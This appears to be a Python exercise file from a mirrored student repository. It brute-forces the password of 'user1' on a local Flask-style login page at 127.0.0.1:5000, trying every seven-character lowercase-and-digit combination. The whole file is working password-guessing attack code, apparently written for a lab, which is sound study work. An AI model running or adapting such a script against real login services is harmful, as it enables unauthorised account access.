mirror of
https://github.com/ArthurDanjou/ArtStudies.git
synced 2026-03-16 03:11:46 +01:00
32 lines
821 B
Python
32 lines
821 B
Python
import itertools
|
|
import string
|
|
|
|
import requests
|
|
|
|
|
|
def bruteforce_user1() -> str | None:
|
|
"""Brute-force pour trouver le mot de passe de user1."""
|
|
url = "http://127.0.0.1:5000/login"
|
|
alphabet = string.ascii_lowercase + "0123456789"
|
|
|
|
for combination in itertools.product(alphabet, repeat=7):
|
|
password_attempt = "".join(combination)
|
|
|
|
payload = {"username": "user1", "password": password_attempt, "level": "1"}
|
|
|
|
try:
|
|
response = requests.post(url, data=payload, timeout=2)
|
|
|
|
if "Mot de passe incorrect" not in response.text:
|
|
print(f"Succès : {password_attempt}")
|
|
return password_attempt
|
|
|
|
except requests.exceptions.RequestException:
|
|
continue
|
|
|
|
return None
|
|
|
|
|
|
if __name__ == "__main__":
|
|
bruteforce_user1()
|